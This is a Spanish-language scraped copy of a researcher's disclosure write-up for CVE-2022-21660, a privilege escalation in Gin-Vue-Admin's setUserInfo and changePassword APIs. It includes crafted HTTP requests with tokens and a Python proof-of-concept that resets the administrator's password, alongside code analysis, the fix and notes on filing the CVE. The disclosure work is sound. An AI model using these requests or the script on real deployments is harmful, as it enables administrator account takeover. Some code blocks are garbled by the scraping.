Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Autenticación y AutorizaciónAnálisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
2812hace 4 añosRevisado por Kitploit

Vulnerabilidad de escalada vertical de privilegios y análisis de código de Gin-Vue-admin - CVE-2022-21660

1. Introducción

Damos la bienvenida a todos los expertos a darle una estrella a este proyecto.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

Después de escribir el artículo, solicitar el CVE fue un poco complicado, pero por suerte se consiguió; los empleados de GitHub respondieron rápidamente.

> ps: antes de solicitar el CVE, ya se había enviado el CNVD.

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. Configuración del entorno

Siguiendo el tutorial oficial```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

Luego entre en el directorio server.```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

Luego simplemente ejecuta el servidor

image-20211230134411233

Después está la WEB, entra al directorio web e introduce```bash cnpm install || npm install

root@kitploit:~
Luego solo hay que esperar

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)



Una vez completada la instalación, se abrirá automáticamente la página web

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

Luego inicialice y configure la información de la base de datos

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

Después de configurarlo, haga clic en Inicializar y luego inicie sesión

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. Reproducción de la vulnerabilidad

### SetUserInfo presenta una escalada vertical de privilegios

##### 1. La interfaz SetUserInfo permite modificar la información personal del usuario sin autorización

Vamos directamente a la página de gestión de usuarios y creamos un rol de usuario con permisos bajos

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

Se puede ver que arriba no se le han otorgado permisos de administrador. A continuación, creamos una nueva cuenta y la asignamos a este grupo de roles

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

El lugar donde ocurre la vulnerabilidad está en la línea 273 de https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

Aquí no se valida el ID entrante; el ID representa al usuario, por lo que se puede modificar la información personal del usuario correspondiente simplemente pasando el ID especificado.

image-20211230141732113

Primero usamos el X-token del administrador para probar a modificar el nombre del usuario con ID 1 a test1; después podemos ver en el panel de administración que el nombre del administrador ya ha sido modificado a test1.

image-20211230144216099

A continuación, usamos el Token de la cuenta UzJu_HxSecTeam que acabamos de crear para sustituirlo y modificar el nombre de usuario del administrador a test2.

Primero, en la cuenta UzJu_HxSecTeam, entramos en Información personal > Cambiar contraseña, cambiamos la contraseña de forma arbitraria y luego obtenemos el Token de la cuenta.

image-20211230144321622

Este Token pertenece al rol de privilegios bajos; normalmente un usuario con privilegios bajos no puede modificar ninguna información del administrador.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Reemplazamos el Token en él y construimos los siguientes datos Json.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

Reemplazaremos el Token en la interfaz setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
Luego se nos indica que la configuración se realizó correctamente

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

Aquí cambiamos a la cuenta de administrador para comprobar si se ha modificado a test2

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

Se puede ver que el usuario administrador se modificó correctamente

##### 2. Vulnerabilidad de escalada vertical de privilegios en la interfaz SetUserInfo para modificar la contraseña del administrador sin condiciones

Durante la depuración, descubrimos que en la interfaz setUserInfo para el establecimiento de información personal con escalada de privilegios no solo se pueden configurar id, username, nickname, headimg, sino que también se pueden pasar parámetros como password.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

Por ejemplo, construimos una solicitud para establecer el nombre de usuario con ID 1 como admin y el apodo como administrador superusuario.

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

此时管理员的密码已经被修改为了qwe@123,尝试登陆

image-20211230222853109

随后成功登录

image-20211230222906607

ChangPassword: modificación no autorizada de la contraseña de usuario

PS: Aquí hay una premisa: es necesario conocer la contraseña del usuario al que se quiere modificar.

Primero sabemos que la contraseña predeterminada de admin es 123456. En este momento, solo necesitamos construir los datos JSON y modificar el parámetro username en los datos JSON al nombre de usuario al que queremos modificar de forma no autorizada.

Primero iniciamos sesión con una cuenta de bajo privilegio y cambiamos la contraseña una vez.

image-20211230145433929

Capturaremos una solicitud changePassword y luego la colocaremos en Repeater.

image-20211230145506647

Luego, solo necesitamos modificar el parámetro username a admin.

image-20211230145615220

Después nos indicará que la modificación fue exitosa, y usaremos la nueva contraseña para iniciar sesión como admin.

image-20211230145704428

Luego, inicio de sesión exitoso.

image-20211230145725332

La ubicación de la vulnerabilidad está en https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, línea 139.```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> Aquí hay una controversia: si ya se conoce la contraseña de la cuenta de otra persona, ¿no bastaría con iniciar sesión directamente en su cuenta? Efectivamente es así, pero el flujo lógico del programa aquí es que ya hemos completado la autenticación. Normalmente, el usuario actual solo puede modificar su propia contraseña, pero aquí se pueden modificar las de otros cambiando el ID. Visto desde otro ángulo, también podría considerarse fuerza bruta, porque la página de inicio de sesión tiene verificación de captcha.

### 4. Análisis del principio de la vulnerabilidad

> ps: Todo el contenido siguiente proviene de la comprensión de un script kiddie que nunca ha aprendido Go, no ha hecho desarrollo y solo sabe Python.

Primero, desde la lógica de negocio normal, ¿por qué se produce aquí esta escalada de privilegios? En realidad, el principio es bastante simple: principalmente porque, al crear permisos de rol, hay varios parámetros obligatorios. Es decir, solo con estos parámetros seleccionados el usuario tiene la oportunidad de escalar privilegios (pero tampoco se pueden dejar deseleccionados, porque son parámetros obligatorios por defecto). Al final, el problema lógico sigue estando en el código.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

Primero, veamos los permisos del rol después de crearlo.

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

Se puede ver que el permiso del usuario creado por defecto, en el menú de roles, solo tiene un permiso para acceder al panel de control, pero si consultamos los permisos API del rol, descubriremos:

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

Aquí hay varios permisos obligatorios:

+ Registro de usuario
+ Configurar información del usuario
+ Obtener la propia información
+ Modificar contraseña
+ Modificar rol del usuario

Esta es también la fuente de esta vulnerabilidad. Primero, con "Configurar información del usuario", si la desmarcamos:

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

Luego colocamos el Token de la cuenta del grupo de rol de bajos privilegios en Burp para probar:

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

Se puede ver claramente que ya no tenemos permiso para establecer esta información de usuario, y en la página de Debug de Go también es fácil descubrir la lógica del código. Por ejemplo, ahora no tenemos permiso para establecer la información de usuario, pero en teoría, en el código, al acceder a esta interfaz, mi punto de interrupción de Debug debería poder interceptar. Sin embargo, como se muestra en la siguiente imagen, después de poner el punto de interrupción, el programa no se detuvo.

image-20211230163258163

Desde aquí se puede deducir que, antes de esta operación, debería haber una operación de autenticación (lo normal debería ser RBAC, ¿no?). Entonces, asignamos ahora permisos de usuario al grupo de rol de bajo privilegio y volvemos a reproducir la petición para ver.

image-20211230163401844

image-20211230163437975

Podemos ver que el programa se detuvo correctamente aquí. Entonces, creo que (novato en Go) se podría encontrar la autenticación mediante Debug:)

Primero, en Mac, usa la tecla Comando + clic izquierdo del ratón para encontrar dónde se llama a esta función.

image-20211230172215924

Luego se puede ver que aquí hay una función InitUserRouter que inicializa las rutas de usuario.

image-20211230172303694

Entonces continuamos con el mismo método: Comando + clic izquierdo para determinar dónde se llama a InitUserRoute.

image-20211230172756447

Nota: hay un JWTAuth() y un middleware.CasbinHandler().

Primero veamos middleware.JWTAuth(), de nuevo con el mismo método: Comando + clic izquierdo.

image-20211230173029571

Luego llegamos a un jwt.go; podemos revisar la lógica aquí (por supuesto, gracias al autor por escribir algunos comentarios).

image-20211230173337186

En Go, token:= debería ser equivalente a definir una variable para recibir el x-token del header de la petición. Primero se comprueba si el token está vacío; si lo está, se devuelve directamente que el usuario no ha iniciado sesión o que el acceso es ilegal.

image-20211230173515740

Después se comprueba si el token del usuario está en la lista negra. Aquí debería determinarse mediante caché o cuando el usuario cierra sesión si el token ya ha expirado. Si expiró, se devuelve un mensaje indicando al usuario que ha iniciado sesión en otro lugar o que el token ha expirado.

image-20211230173927005

Aquí primero se pasa a la función ParseToken para analizar el Token; puedes seguirlo para echar un vistazo.

image-20211230174153376

No sé qué es jwt.ParseWithClaims... la tradición de siempre: google.com

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

Aquí se usa para el cifrado y descifrado JWT, luego devuelve un SigningKey, y se continúa hacia abajo

Gracias a la indicación del autor: aquí se analiza la cadena jwt token entrante, se obtiene la estructura jwt.Token, y luego se extraen los Claims de la estructura para obtener la información de usuario que se montó al generar el token anteriormente.

image-20211230180325474

Gracias a Google supe que ValidationErrorMalformed se usa para determinar si es un token incorrecto, luego ValidationErrorExpired para determinar si ha expirado, y luego ValidationErrorNotValidYet para determinar si el token está activo, y después se retorna. Aunque todavía queda un fragmento de código más abajo.

image-20211230181012200

Luego se comprueba si el token ha expirado; si no ha expirado, se llega a reload, y después llegamos a middleware.CasbinHandler().

image-20211230181206422

Primero entramos en utils.GetClaims y le pasamos un parámetro.

image-20211230181333671

Esta función se usa para obtener el x-token y luego analizar el token para comprobar si ha expirado, etc.

image-20211230185043326

Luego se determina el rol del usuario; el 1234 de aquí es el ID del grupo de roles que configuramos en la web.

image-20211230185135662

image-20211230185217506

Después se entra en casbinService.Casbin(). La tradición de siempre: buscar directamente en Baidu.

image-20211230185413430

Es más o menos como se sospechaba: control de permisos RBAC. Aquí se conecta a la base de datos, y luego, al pulsar F7 para entrar paso a paso, me desanimé, no lo entendí.

image-20211230191210935

Por los comentarios se puede deducir que aquí se utiliza para evaluar los permisos.

Trad. automática: Enforce decide si un "subject" puede acceder a un "object" con la operación "action"; los parámetros de entrada suelen ser: (sub, obj, act).

Enforce decide si un "subject" puede acceder a un "object" mediante la operación "action"; los parámetros de entrada suelen ser: (sub, obj, act).

image-20211230191631807

Luego se comprueba si está en entorno de desarrollo, y success es igual a false. Aquí || significa 'o': o se consigue el éxito, o se indica que los permisos son insuficientes.

Veamos cómo se recorre la interfaz setuserinfo cuando hay permisos, la que permite la escalada de privilegios. Primero, colocamos un punto de interrupción en el interceptor.

image-20211230214215348

Tips: mediante Baidu descubrí que aquí se usa el framework de control de acceso casbin de golang

https://blog.csdn.net/qq_42015552/article/details/104013264

Luego también colocamos un punto de interrupción en setuserinfo.

image-20211230214247389

Como el interceptor está antes de setuserinfo en la lógica del programa, empezamos a depurar desde el interceptor.

Después de enviar la petición con burp, nos quedamos esperando. En este momento, vamos a depurar paso a paso.

image-20211230214329911

En este momento, nuestro grupo de roles es 1234.

image-20211230214503883

Después se conecta a la base de datos y, a continuación, se comprueban los permisos.

image-20211230215514485

image-20211230215532447

Aquí se devuelve un true, lo que indica que el permiso existe. Luego se comprueba si es entorno de desarrollo o si success es igual a true; aquí seguramente pasará por el primer if.

Luego llegamos a la interfaz setuserinfo.

image-20211230220206889

shouldBindJson vincula los parámetros Json.

image-20211230220707383

Luego, esto debería usarse para comprobar si los parámetros Json entrantes son correctos.

image-20211230221153338

A continuación, directamente se sustituye el userid.

image-20220104134548099

El ID de aquí es el que pasamos desde el frontend y se puede modificar arbitrariamente, por lo que se produce la escalada de privilegios.

image-20211230221415677

image-20211230221432290

Después, una vez sustituido en la base de datos, se actualiza y se devuelve.

image-20211230221556509

Y luego la actualización se realiza correctamente.

Las principales operaciones de autenticación están en la función CasbinHandler del archivo cashbin.rbac.go, concretamente en casbinService.Casbin() y e.Enforce(sub, obj, act).

Mi interpretación de esta escalada de privilegios es: si se otorga el permiso para establecer la información de usuario, entonces, por defecto, el usuario puede modificar la información de usuario dentro de las reglas de permisos; y al modificar, basta con reemplazar el ID por el de otra persona para modificar la suya.

Aquí ya se puede entender: primero, la autenticación evalúa AuthorityId para determinar si el usuario tiene permiso para operar en una interfaz.

image-20220104131901466

Pero en setuserinfo, el ID utilizado es el ID de cuenta del usuario.

image-20220104132137472

Esto provoca la escalada de privilegios, porque este ID puede controlarse al pasarlo desde el frontend y ya se ha superado la autenticación. Tras comunicarme con el autor, me explicó que la corrección es bastante simple: basta con forzar la asignación de user.id al ID de permisos correspondiente al JWT. Así no se producirá la escalada de privilegios, porque, sin importar cómo lo envíe el frontend, al final hay una línea en el código que cambia el valor de user.id al id correspondiente al JWT actual.

Pero en la lógica del flujo de negocio, estos permisos deben otorgarse, porque si no se otorgan, el usuario actual no tiene forma de modificar su propia información.

image-20220104135624752

5. Escritura del POC```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
La razón por la que no se escribió el método check_interface_ChangePassword es porque aquí se trata de una interfaz de fuerza bruta: antes de modificar la contraseña de cualquier usuario, hay que conocer la contraseña de la cuenta a modificar, lo que es como fuerza bruta, así que no se escribió aquí. Luego, en cuanto al método checkvuln, el id de los datos JSON de payload_data en realidad se puede cambiar arbitrariamente, e incluso se puede escribir un bucle for para iterar sobre él, porque en el entorno real no se sabe si el ID del administrador es 1, o si existe destrucción maliciosa, también podría causar cierto impacto.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. Solicitud de CVE

> No hace falta hablar de CNVD, seguro que ya se ha presentado; aquí se solicita el CVE.
>
> GitHub tarda muy poco en asignar el número en tu nombre; básicamente como máximo 3 días. Aquí se recibió el número de preasignación del CVE en la madrugada del día siguiente al de la presentación.
>
> Las siguientes operaciones requieren contactar con el autor para que te ayude; de lo contrario, no existe el botón New Draft security advisory

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

En Description escribe el contenido de la vulnerabilidad, el proceso de reproducción y el POC, y luego haz clic en create draft security advisory

**Como era la primera vez que solicitábamos esto, cometimos un error: solo creamos un borrador y no enviamos la solicitud, lo que nos hizo esperar en vano 7 días.**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

Después de escribir, asegúrate de bajar hasta el final y hacer clic en request cve id

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> Artículo de referencia: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. Agradecimientos

+ Página principal del equipo de autores: https://github.com/flipped-aurora/
+ GitHub del autor: https://github.com/piexlmax
+ Dirección del proyecto Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin
Descargar herramienta